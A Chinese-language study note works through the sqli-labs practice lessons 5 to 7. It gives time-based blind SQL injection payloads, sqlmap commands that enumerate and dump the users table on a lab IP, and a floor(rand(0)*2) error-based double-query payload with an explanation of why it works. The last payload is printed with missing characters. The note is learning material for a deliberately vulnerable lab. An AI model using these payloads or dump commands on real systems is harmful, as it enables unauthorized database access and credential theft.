Sqli-labs3
sql盲注
利用version函数,爆出数据库版本
left(string, n) 截取string字符串的左边n个字符
mid(string, start, length) 截取字符串从start开始长度为length的字符串(length可选,无时截到最后)
substr(string, start,length) 同上
可以在外面再包裹上一层ascii函数,化成数值(或者ord)
ascii值为115对应s
Less-5 双注入GET单引号字符型注入
GET-Double injection-Single Quotes-String
法一 时间延迟型注入
正确会延迟,错误无延迟
/Less-5/?id=1' and sleep(5)--+
延迟明显说明是单引号字符型注入
爆库长
/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+
延迟说明库名长为8
3. 爆库名
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
最终得security
4. 爆表、列名
可以直接指定limit来查询是否存在user、password之类的列
以上这种工作十分麻烦 交给sqlmap(一个python脚本)来做
补充sqlmap
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" 查询是否存在注入
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -current-db 查询当前数据库名
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" --tables 查询当前数据库中所有表
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" -T "users" --columns 查询指定库中指定表的所有列(字段)
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" -T "users" -C "username" --dump 打印指定列中所有字段内容
### 法二 布尔型注入
正确会回显,错误没有回显
手工注入可以采用二分法,逐字爆破,其他都差不多
相当于报错注入,这里有特别多方法,网上给了各种但都需要深入了解各种mysql数据类型和函数机制
### 法三 双注入
利用聚合函数进行查询,会在错误信息中显示一部分错误信息
#### 双注入原理
真tm爽,在网上找了好多解释原理都解释不清,这个https://mochazz.github.io/2017/09/23/Double_%20SQL_Injection/#0x01-%E5%8F%8C%E6%9F%A5%E8%AF%A2一下子解释清了,还特别生动
floor() 向下取整
rand() 产生一个0-1的随机数 rand(0)会产生一个固定随机次序(即每次rand(0)产生序列相同)
这样group by floor(rand(0)*2)就可以依据产生0或1来分组
![image-20220128200442211.png](http://xherlock.top/usr/uploads/2022/01/1152098191.png)
记住这个序列,在后面很有用
下面我们加入concat和group by
![image-20220128213015194.png](http://xherlock.top/usr/uploads/2022/01/3929809199.png)
可以看到只有两个分组,对应前面只有0和1,接着我们添加count(*),这里很关键,因为在计算数目时,我们先查询要插入键的是否已存在,若已存在,直接在对应的键值处count+1;若不存在,则需要插入,此时插入时,由于插入的是含rand的数据(随机),所要插入的值有可能发生变化,比如以上面的01序列为例
首先查询发现第一个是0,向虚拟表(作为查询表)插入时,又rand一次,实际插入为1,count(1)=1;接着再次查询,是1,此时虚拟表中已存在1,所以count(1)=2;最后查询是0,虚拟表中不存在0,需要插入,插入的时候又rand了,实际插入成了1,但是这里已经存在为1的键了,矛盾,报错!!!(warning:这里可以看出来必须要有至少3行数据才可以报错,抽屉原理~哈哈哈)
就出现了下面的情况:
![image-20220128213853668.png](http://xherlock.top/usr/uploads/2022/01/1928707193.png)
我们可以看到我们所要查询的信息随着报错信息被泄露了,这里database()即可换为我们任何想要查询的信息,比如
![image-20220128214436946.png](http://xherlock.top/usr/uploads/2022/01/3728691447.png)
payload:
?id=1' union select 1,count(),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),'~',floor(rand(0)2)) as a from information_schema.tables group by a--+
可以看到爆出了当前数据库所有的表名,下面就可以如法炮制(只需改变concat里第一个参数)
这个法最简单,但最不好理解
## Less-6 双注入GET双引号字符型注入
GET-Double Injection-Double Quotes-String
换成双引号即可
## Less-7 导出文件GET字符型注入
GET-Dump into outfile-String
先自己观察了一波发现源码中同5、6不同的地方在于
![image-20220128223859495.png](http://xherlock.top/usr/uploads/2022/01/775237471.png)
原来可以输出报错信息的代码被注释掉了,同时也无法利用时间延迟注入
明天接着写!
小结:
* 在sqlmap、less-5中的时间延迟、盲注、报错注入上花了很长时间,也了解到了不少知识
* 今天效率很低,明天得注意了